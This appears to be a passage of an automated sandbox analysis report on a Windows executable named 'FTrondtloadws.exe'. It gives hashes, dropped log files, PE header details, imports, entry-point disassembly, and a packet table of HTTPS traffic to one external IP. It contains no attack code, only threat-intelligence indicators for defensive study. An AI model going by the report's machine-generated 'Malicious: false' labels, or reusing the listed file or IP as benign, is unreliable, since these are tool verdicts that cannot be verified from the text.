SHA-256:	70721F271998D6A5E22954F220B5A91D193A7DEABBEF6A73B9264FB789169A2A
SHA-512:	0B2731ECC5CE0110AE93AD0F2C53B45F0B9FF0720BCE7B144EE50EFFA82699CA0DB409774689909CB5AEDFD49616E19A7754136AF67E1878F010757A45BB2E44
Malicious:	false
Preview:	................................................................................ .......^........................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... ......... ...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P. ...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Logs\waasmedic\waasmedic.20230510_092127_600.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	2.7342943214539703
Encrypted:	false
SSDEEP:	48:u1Xr52QGWYb7kUZb7kE2tb7klMb7kNb7kbIl9lzb7k0tplQb7kPb7kXb7kwsZb7L:42p0UZ0Rt0S0N0U9h0ClQ0P0X0/09O
MD5:	B712F5F9889BE57D9DEC0EB4378B9E4D
SHA1:	C1F26928E3A46DFC79436BA5296053FD6B180A0B
SHA-256:	016C2CADC79F34B0EC06BB8DF55EE4D3D3C1A0955CC739613C56B532E0654484
SHA-512:	AA250BA550C4CAD7E974B4C9CF25BB5314B1B7A63F084E5481D0C1FEB8404834F128E4F3004E4EC704F054EF78080C0D264DA640B4364D78640D984D8064BF39
Malicious:	false
Preview:	....................................................!.....................................Q......................B......z,H. ...Zb....... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................WW...... .....cmq. ...........E.C.C.B.1.7.5.F.-.1.E.B.2.-.4.3.D.A.-.B.F.B.5.-.A.8.D.5.8.A.4.0.A.4.D.7...C.:.\.W.i.n.d.o.w.s.\.l.o.g.s.\.w.a.a.s.m.e.d.i.c.\.w.a.a.s.m.e.d.i.c...2.0.2.3.0.5.1.0._.0.9.2.1.2.7._.6.0.0...e.t.l.............P.P...........Q.................................................................9.B...Q.....17134.1.amd64fre.rs4_release.180410-1804............5.@...Q.....OYo."(.s..O........WaaSMedicSvc.pdb............................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	10874
Entropy (8bit):	3.16339901774209
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3z5+6I3+zJj+o:j+s+v+b+P+m+0+Q+q+q+73+z9+o
MD5:	EEA30D820D1DF0DE214F570BBCF79A72
SHA1:	6C0C8A5D1E43D6BEBB3BFF1C471081A0EF0BB414
SHA-256:	61A74783583D2B7EBB8D0FBE0FFAE28FD99AEC0850833CB3D9ECAF6EEB106E92
SHA-512:	CEE9CFFAA9E1FCCF4E19E423FD61F4F90BC56E9D8D28FD81CB9D587D3355157CE0C2854807A7FFDD060EBA230AF5196CC2ECB7B266F032A3021F4B28C4AED356
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20230510_092125_742.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.386280440055424
Encrypted:	false
SSDEEP:	96:2CDD2o+iK5Ku9r2Y2mCHvI2l8SkkP4nlT2UTYFzFUMCR6JROY5R:Vm1KrQ2DHM+Cav
MD5:	5BCCFC3C98BC9A5D0206EEC003C40CC8
SHA1:	16931D019F9B527C9F8E811614FC9CB40615717D
SHA-256:	E00A97305F2F6370FCB62664AF968B2CD0C87C073AFDCE537625CF9099CD4B93
SHA-512:	CDFDA33B8A4B0360F24F5F71663C047FC4F78EE195A43D4B2885D89CF0EF8BC617466050EF98D1649CDFD24363626D52995997E60FC4A2B969CC67C1F13AD6F0
Malicious:	false
Preview:	.... ... ....................................... ...!...............................(...m-.......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................WW...... .....a@W. ...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.3.0.5.1.0._.0.9.2.1.2.5._.7.4.2...e.t.l.........P.P.....(...m-......................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.3930058639987415
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FTrondtloadws.exe
File size:	524616
MD5:	7fc09e90a6b01b4e45dfb74a398ab841
SHA1:	54100dba7c005481041743622794bbe7e2aabb63
SHA256:	fba557d1ea30dc5810637b80408cc8d6491f33e5cb4def703f2b3413d476d93d
SHA512:	2d1d0d2bc9510c9b58091c0d3146bd02e704c16e23d7b0ac3768945c418ed2646c9052f8a81024086246e731f9738775a91ad84ed146a6a05498f14ee96a887a
SSDEEP:	12288:ygZXEAO/BUdG3gVdt7K9T+tkwCEq+GVE1xQ+/Htbat:ygZXoZUTVdt7KfwS+GVEjQ+/HVat
TLSH:	7FB4E103BAC086B1D422153316299F21B57DBC301F7689EBA3987D5EDE352D0A7367A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$............s...s...s....V..s....T.&s....U..s..(.Z..s..(....s..(....s..(....s....$..s....4..s...s...r..&....s..&....s..&.X..s..&....s.

File Icon


Icon Hash:	d49494d6c88ecec2

Static PE Info

General

Entrypoint:	0x4205e0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x63EE221D [Thu Feb 16 12:31:25 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	aac51396886833dc961fcd7aab7711e4

Entrypoint Preview

Instruction
call 00007F79B4BE177Bh
jmp 00007F79B4BE112Dh
int3
int3
int3
int3
int3
int3
push 004238E0h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [004407A8h]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F79B4BD4141h
push 0043D14Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F79B4BE3DD5h
int3
jmp 00007F79B4BE5CA8h
push ebp
mov ebp, esp
and dword ptr [00463D58h], 00000000h
sub esp, 24h
or dword ptr [004407A0h], 01h
push 0000000Ah
call dword ptr [004341C0h]
test eax, eax
je 00007F79B4BE1462h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3e2e0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e314	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x66000	0xe044	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x75000	0x23ac	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3c1b0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x366a8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3d85c	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x32c1c	0x32e00	False	0.5910002687346437	data	6.697107176948733	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0xb130	0xb200	False	0.4591818820224719	data	5.257834305517335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x40000	0x24750	0x1200	False	0.4058159722222222	data	4.083983051040627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x65000	0x190	0x200	False	0.44921875	data	3.372762520317566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x66000	0xe044	0xe200	False	0.6343853705752213	data	6.8023845813820145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x75000	0x23ac	0x2400	False	0.7834201388888888	data	6.644075573908012	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
PNG	0x66644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced
PNG	0x6718c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced
RT_ICON	0x68738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors
RT_ICON	0x68ca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors
RT_ICON	0x69548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors
RT_ICON	0x6a3f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m
RT_ICON	0x6a858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m
RT_ICON	0x6b900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m
RT_ICON	0x6dea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_DIALOG	0x71c1c	0x2ba	data
RT_DIALOG	0x71ed8	0x13a	data
RT_DIALOG	0x72014	0xf2	data
RT_DIALOG	0x72108	0x14a	data
RT_DIALOG	0x72254	0x314	data
RT_DIALOG	0x72568	0x24a	data
RT_STRING	0x727b4	0x1fc	data
RT_STRING	0x729b0	0x246	data
RT_STRING	0x72bf8	0x1a6	data
RT_STRING	0x72da0	0xdc	data
RT_STRING	0x72e7c	0x470	data
RT_STRING	0x732ec	0x164	data
RT_STRING	0x73450	0x110	data
RT_STRING	0x73560	0x158	data
RT_STRING	0x736b8	0xe8	data
RT_STRING	0x737a0	0xe6	data
RT_GROUP_ICON	0x73888	0x68	data
RT_MANIFEST	0x738f0	0x753	XML 1.0 document, ASCII text, with CRLF line terminators

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapReAlloc, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2023 02:21:16.745486975 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:16.745575905 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:16.745675087 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:16.770951033 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:16.771002054 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:16.844996929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:16.845124006 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:16.847583055 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:16.847604036 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:16.848006964 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:16.894089937 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.064246893 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.088342905 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.088479042 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.088587999 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.088619947 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.088660955 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.088722944 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.088737011 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.088772058 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.088798046 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.111083984 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.111216068 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.111295938 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.111418009 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.111464024 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.111485958 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.111557961 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.111573935 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.111586094 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.111604929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.111717939 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.111732006 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134197950 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134300947 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134305954 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134337902 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134368896 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134480000 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134558916 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134563923 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134591103 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134634018 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134650946 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134813070 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134907961 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134921074 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.134982109 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.134993076 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.135019064 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.135071993 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.135082006 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.135086060 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.135103941 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.135154009 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.157999992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.158077955 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.158117056 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.158149004 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.158185005 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.158202887 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.158257961 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.158322096 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.158494949 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.158576965 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.158617973 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.158701897 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.158965111 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.159063101 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.159090996 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.159172058 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.159332991 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.159435034 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.159477949 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.159568071 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.159797907 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.159889936 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.159919024 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.160001993 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.160161018 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.160247087 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.160270929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.160346031 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.181893110 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.181952000 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182034969 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.182081938 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182105064 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.182138920 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182195902 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182223082 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.182235956 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182285070 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.182533026 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182578087 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182615042 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.182631016 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.182657003 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.183101892 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.183155060 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.183191061 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.183207989 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.183238983 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.183681011 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.183731079 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.183778048 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.183793068 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.183809996 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.184247971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.184303045 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.184339046 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.184357882 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.184387922 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.184747934 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.184792042 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.184830904 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.184844971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.184860945 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.185340881 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.185393095 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.185425997 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.185445070 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.185472965 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.185851097 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.185895920 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.185939074 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.185952902 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.185967922 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.237116098 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.237202883 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.237234116 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.237261057 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.237278938 CEST	49703	443	192.168.2.3	116.203.249.172
